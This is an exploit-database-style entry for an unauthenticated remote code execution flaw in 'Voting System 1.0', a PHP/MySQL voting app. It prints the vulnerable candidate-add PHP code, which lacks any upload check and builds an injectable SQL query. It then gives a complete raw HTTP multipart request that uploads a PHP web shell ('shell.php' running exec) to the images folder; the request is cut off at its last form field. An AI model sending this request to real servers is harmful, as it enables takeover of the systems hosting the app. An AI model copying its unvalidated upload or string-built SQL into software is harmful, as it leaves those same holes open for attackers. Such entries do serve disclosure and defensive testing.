67 lines
No EOL
2.5 KiB
Text
67 lines
No EOL
2.5 KiB
Text
# Exploit Title: Voting System 1.0 - Remote Code Execution (Unauthenticated)
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# Date: 07/05/2021
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# Exploit Author: secure77
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# Vendor Homepage: https://www.sourcecodester.com/php/12306/voting-system-using-php.html
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# Software Link: https://www.sourcecodester.com/download-code?nid=12306&title=Voting+System+using+PHP%2FMySQLi+with+Source+Code
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# Version: 1.0
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# Tested on: Linux Debian 5.10.28-1kali1 (2021-04-12) x86_64 // PHP Version 7.4.15 & Built-in HTTP server // mysql Ver 15.1 Distrib 10.5.9-MariaDB
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Unauthenticated file upload is possible via /admin/candidates_add.php that can use for RCE.
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Your upload will be stored at /images/ and is also accessible without authentication.
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########################### Vulnerable code ############################
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<?php
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include 'includes/session.php';
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if(isset($_POST['add'])){
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$firstname = $_POST['firstname'];
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$lastname = $_POST['lastname'];
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$position = $_POST['position'];
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$platform = $_POST['platform'];
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$filename = $_FILES['photo']['name'];
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if(!empty($filename)){
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move_uploaded_file($_FILES['photo']['tmp_name'], '../images/'.$filename);
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}
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$sql = "INSERT INTO candidates (position_id, firstname, lastname, photo, platform) VALUES ('$position', '$firstname', '$lastname', '$filename', '$platform')";
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if($conn->query($sql)){
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$_SESSION['success'] = 'Candidate added successfully';
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}
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else{
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$_SESSION['error'] = $conn->error;
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}
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}
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else{
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$_SESSION['error'] = 'Fill up add form first';
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}
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header('location: candidates.php');
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?>
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########################### Payload ############################
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POST /admin/candidates_add.php HTTP/1.1
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Host: 192.168.1.1
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Content-Length: 275
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Cache-Control: max-age=0
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Origin: http://192.168.1.1
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Upgrade-Insecure-Requests: 1
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DNT: 1
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Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryrmynB2CmGO6vwFpO
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36
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Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
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Referer: http://192.168.1.1/admin/candidates.php
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Accept-Encoding: gzip, deflate
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Accept-Language: de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7
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Connection: close
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------WebKitFormBoundaryrmynB2CmGO6vwFpO
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Content-Disposition: form-data; name="photo"; filename="shell.php"
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Content-Type: application/octet-stream
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<?php echo exec("whoami"); ?>
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------WebKitFormBoundaryrmynB2CmGO6vwFpO
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Content-Disposition: form-data; name="add" |